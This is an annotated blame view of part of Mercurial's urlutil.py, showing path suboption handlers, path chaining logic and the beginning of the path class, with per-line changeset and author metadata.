5f3c2adcc69c path-suboption: use str for "bookmarks_mode" suboptions
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50905
diff changeset
731 @pathsuboption(b'bookmarks.mode', 'bookmarks_mode')
48242
4d2ab365699e bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48240
diff changeset
732 def bookmarks_mode_option(ui, path, value):
4d2ab365699e bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48240
diff changeset
733 if value not in SUPPORTED_BOOKMARKS_MODES:
4d2ab365699e bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48240
diff changeset
734 path_name = path.name
4d2ab365699e bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48240
diff changeset
735 if path_name is None:
4d2ab365699e bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48240
diff changeset
736 # this is an "anonymous" path, config comes from the global one
4d2ab365699e bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48240
diff changeset
737 path_name = b'*'
4d2ab365699e bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48240
diff changeset
738 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
4d2ab365699e bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48240
diff changeset
739 msg %= (path_name, value)
4d2ab365699e bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48240
diff changeset
740 ui.warn(msg)
4d2ab365699e bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48240
diff changeset
741 if value == b'default':
4d2ab365699e bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48240
diff changeset
742 value = None
4d2ab365699e bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48240
diff changeset
743 return value
4d2ab365699e bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48240
diff changeset
744
4d2ab365699e bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48240
diff changeset
745
49767
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
746 DELTA_REUSE_POLICIES = {
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
747 b'default': None,
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
748 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
749 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
49768
bcae90c53def delta-find: add a delta-reuse policy that blindly accepts incoming deltas
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49767
diff changeset
750 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
49767
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
751 }
50693
c96fd53c0e2d path: display proper user facing value for pulled-delta-reuse-policy
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50692
diff changeset
752 DELTA_REUSE_POLICIES_NAME = dict(i[::-1] for i in DELTA_REUSE_POLICIES.items())
49767
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
753
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
754
50693
c96fd53c0e2d path: display proper user facing value for pulled-delta-reuse-policy
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50692
diff changeset
755 @pathsuboption(
c96fd53c0e2d path: display proper user facing value for pulled-delta-reuse-policy
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50692
diff changeset
756 b'pulled-delta-reuse-policy',
50905
dddd8e253c95 path-suboption: use str for "delta_reuse_policy" suboptions
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50904
diff changeset
757 'delta_reuse_policy',
50693
c96fd53c0e2d path: display proper user facing value for pulled-delta-reuse-policy
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50692
diff changeset
758 display=DELTA_REUSE_POLICIES_NAME.get,
c96fd53c0e2d path: display proper user facing value for pulled-delta-reuse-policy
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50692
diff changeset
759 )
49767
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
760 def delta_reuse_policy(ui, path, value):
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
761 if value not in DELTA_REUSE_POLICIES:
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
762 path_name = path.name
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
763 if path_name is None:
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
764 # this is an "anonymous" path, config comes from the global one
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
765 path_name = b'*'
50207
f35cf52acabd delta-find: rename `delta-reuse-policy` to `pulled-delta-reuse-policy`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49845
diff changeset
766 msg = _(
f35cf52acabd delta-find: rename `delta-reuse-policy` to `pulled-delta-reuse-policy`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49845
diff changeset
767 b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n'
f35cf52acabd delta-find: rename `delta-reuse-policy` to `pulled-delta-reuse-policy`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49845
diff changeset
768 )
49767
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
769 msg %= (path_name, value)
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
770 ui.warn(msg)
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
771 return DELTA_REUSE_POLICIES.get(value)
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
772
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
773
50904
9f3e4b60bfe6 path-suboption: use str for "multi_urls" path suboptions
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50897
diff changeset
774 @pathsuboption(b'multi-urls', 'multi_urls', display=display_bool)
47273
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
775 def multiurls_pathoption(ui, path, value):
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
776 res = stringutil.parsebool(value)
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
777 if res is None:
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
778 ui.warn(
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
779 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
780 )
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
781 res = False
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
782 return res
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
783
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
784
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
785 def _chain_path(base_path, ui, paths):
47186
26b3953ba1b0 urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47185
diff changeset
786 """return the result of "path://" logic applied on a given path"""
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
787 new_paths = []
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
788 if base_path.url.scheme != b'path':
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
789 new_paths.append(base_path)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
790 else:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
791 assert base_path.url.path is None
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
792 sub_paths = paths.get(base_path.url.host)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
793 if sub_paths is None:
47186
26b3953ba1b0 urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47185
diff changeset
794 m = _(b'cannot use `%s`, "%s" is not a known path')
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
795 m %= (base_path.rawloc, base_path.url.host)
47186
26b3953ba1b0 urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47185
diff changeset
796 raise error.Abort(m)
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
797 for subpath in sub_paths:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
798 path = base_path.copy()
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
799 if subpath.raw_url.scheme == b'path':
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
800 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
801 m %= (path.rawloc, path.url.host)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
802 raise error.Abort(m)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
803 path.url = subpath.url
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
804 path.rawloc = subpath.rawloc
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
805 path.loc = subpath.loc
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
806 if path.branch is None:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
807 path.branch = subpath.branch
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
808 else:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
809 base = path.rawloc.rsplit(b'#', 1)[0]
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
810 path.rawloc = b'%s#%s' % (base, path.branch)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
811 suboptions = subpath._all_sub_opts.copy()
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
812 suboptions.update(path._own_sub_opts)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
813 path._apply_suboptions(ui, suboptions)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
814 new_paths.append(path)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
815 return new_paths
47186
26b3953ba1b0 urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47185
diff changeset
816
26b3953ba1b0 urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47185
diff changeset
817
48946
642e31cb55f0 py3: use class X: instead of class X(object):
Gregory Szorc <gregory.szorc@gmail.com>
parents: 48913
diff changeset
818 class path:
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
819 """Represents an individual path and its configuration."""
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
820
48238
ea50caada82d path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47412
diff changeset
821 def __init__(
ea50caada82d path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47412
diff changeset
822 self,
ea50caada82d path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47412
diff changeset
823 ui=None,
ea50caada82d path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47412
diff changeset
824 name=None,
ea50caada82d path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47412
diff changeset
825 rawloc=None,
ea50caada82d path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47412
diff changeset
826 suboptions=None,
ea50caada82d path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47412
diff changeset
827 validate_path=True,
ea50caada82d path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47412
diff changeset
828 ):
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
829 """Construct a path from its config options.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
830
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
831 ``ui`` is the ``ui`` instance the path is coming from.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
832 ``name`` is the symbolic name of the path.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
833 ``rawloc`` is the raw location, as defined in the config.
49706
f27fbb908b10 path: deprecated the `pushloc` attribute
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49697
diff changeset
834 ``_pushloc`` is the raw locations pushes should be made to.
f27fbb908b10 path: deprecated the `pushloc` attribute
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49697
diff changeset
835 (see the `get_push_variant` method)
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
836
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
837 If ``name`` is not defined, we require that the location be a) a local
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
838 filesystem path with a .hg directory or b) a URL. If not,
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
839 ``ValueError`` is raised.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
840 """
47185
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
841 if ui is None:
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
842 # used in copy
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
843 assert name is None
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
844 assert rawloc is None
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
845 assert suboptions is None
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
846 return
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
847
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
848 if not rawloc:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
849 raise ValueError(b'rawloc must be defined')
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
850
49694
dd62eb4d2ea5 path: move the url parsing and related attribute setting to a method
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48946
diff changeset
851 self.name = name
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
852
49694
dd62eb4d2ea5 path: move the url parsing and related attribute setting to a method
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48946
diff changeset
853 # set by path variant to point to their "non-push" version
49696
0acefbbcc82a path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49694
diff changeset
854 self.main_path = None
49694
dd62eb4d2ea5 path: move the url parsing and related attribute setting to a method
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48946
diff changeset
855 self._setup_url(rawloc)
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
856
48238
ea50caada82d path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47412
diff changeset
857 if validate_path:
ea50caada82d path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47412
diff changeset
858 self._validate_path()
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
859
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
860 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
861 self._own_sub_opts = {}
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
862 if suboptions is not None:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
863 self._own_sub_opts = suboptions.copy()
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
864 sub_opts.update(suboptions)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
865 self._all_sub_opts = sub_opts.copy()
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
866
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
867 self._apply_suboptions(ui, sub_opts)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
868
49694
dd62eb4d2ea5 path: move the url parsing and related attribute setting to a method
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48946
diff changeset
869 def _setup_url(self, rawloc):
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
870 # Locations may define branches via syntax <base>#<branch>.
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
871 u = url(rawloc)
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
872 branch = None
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
873 if u.fragment:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
874 branch = u.fragment
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
875 u.fragment = None
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
876
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
877 self.url = u
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
878 # the url from the config/command line before dealing with `path://`
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
879 self.raw_url = u.copy()
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
880 self.branch = branch
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
881
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
882 self.rawloc = rawloc
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
883 self.loc = b'%s' % u
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
884
49756
d979c76d6e54 path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49740
diff changeset
885 def copy(self, new_raw_location=None):
d979c76d6e54 path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49740
diff changeset
886 """make a copy of this path object
d979c76d6e54 path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49740
diff changeset
887
d979c76d6e54 path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49740
diff changeset
888 When `new_raw_location` is set, the new path will point to it.
d979c76d6e54 path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49740
diff changeset
889 This is used by the scheme extension so expand the scheme.
d979c76d6e54 path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49740
diff changeset
890 """
47185
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
891 new = self.__class__()
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
892 for k, v in self.__dict__.items():
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
893 new_copy = getattr(v, 'copy', None)
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
894 if new_copy is not None:
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
895 v = new_copy()
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
896 new.__dict__[k] = v
49756
d979c76d6e54 path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49740
diff changeset
897 if new_raw_location is not None:
d979c76d6e54 path: allow to copy a path while adjusting the url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49740
diff changeset
898 new._setup_url(new_raw_location)
47185
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
899 return new
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
900
49696
0acefbbcc82a path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49694
diff changeset
901 @property
0acefbbcc82a path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49694
diff changeset
902 def is_push_variant(self):
0acefbbcc82a path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49694
diff changeset
903 """is this a path variant to be used for pushing"""
0acefbbcc82a path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49694
diff changeset
904 return self.main_path is not None
0acefbbcc82a path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49694
diff changeset
905
0acefbbcc82a path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49694
diff changeset
906 def get_push_variant(self):
0acefbbcc82a path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49694
diff changeset
907 """get a "copy" of the path, but suitable for pushing
0acefbbcc82a path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49694
diff changeset
908
0acefbbcc82a path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49694
diff changeset
909 This means using the value of the `pushurl` option (if any) as the url.
0acefbbcc82a path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49694
diff changeset
910
0acefbbcc82a path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49694
diff changeset
911 The original path is available in the `main_path` attribute.
0acefbbcc82a path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49694
diff changeset
912 """
0acefbbcc82a path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49694
diff changeset
913 if self.main_path:
0acefbbcc82a path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49694
diff changeset
914 return self
0acefbbcc82a path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49694
diff changeset
915 new = self.copy()
0acefbbcc82a path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49694
diff changeset
916 new.main_path = self
49706
f27fbb908b10 path: deprecated the `pushloc` attribute
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49697
diff changeset
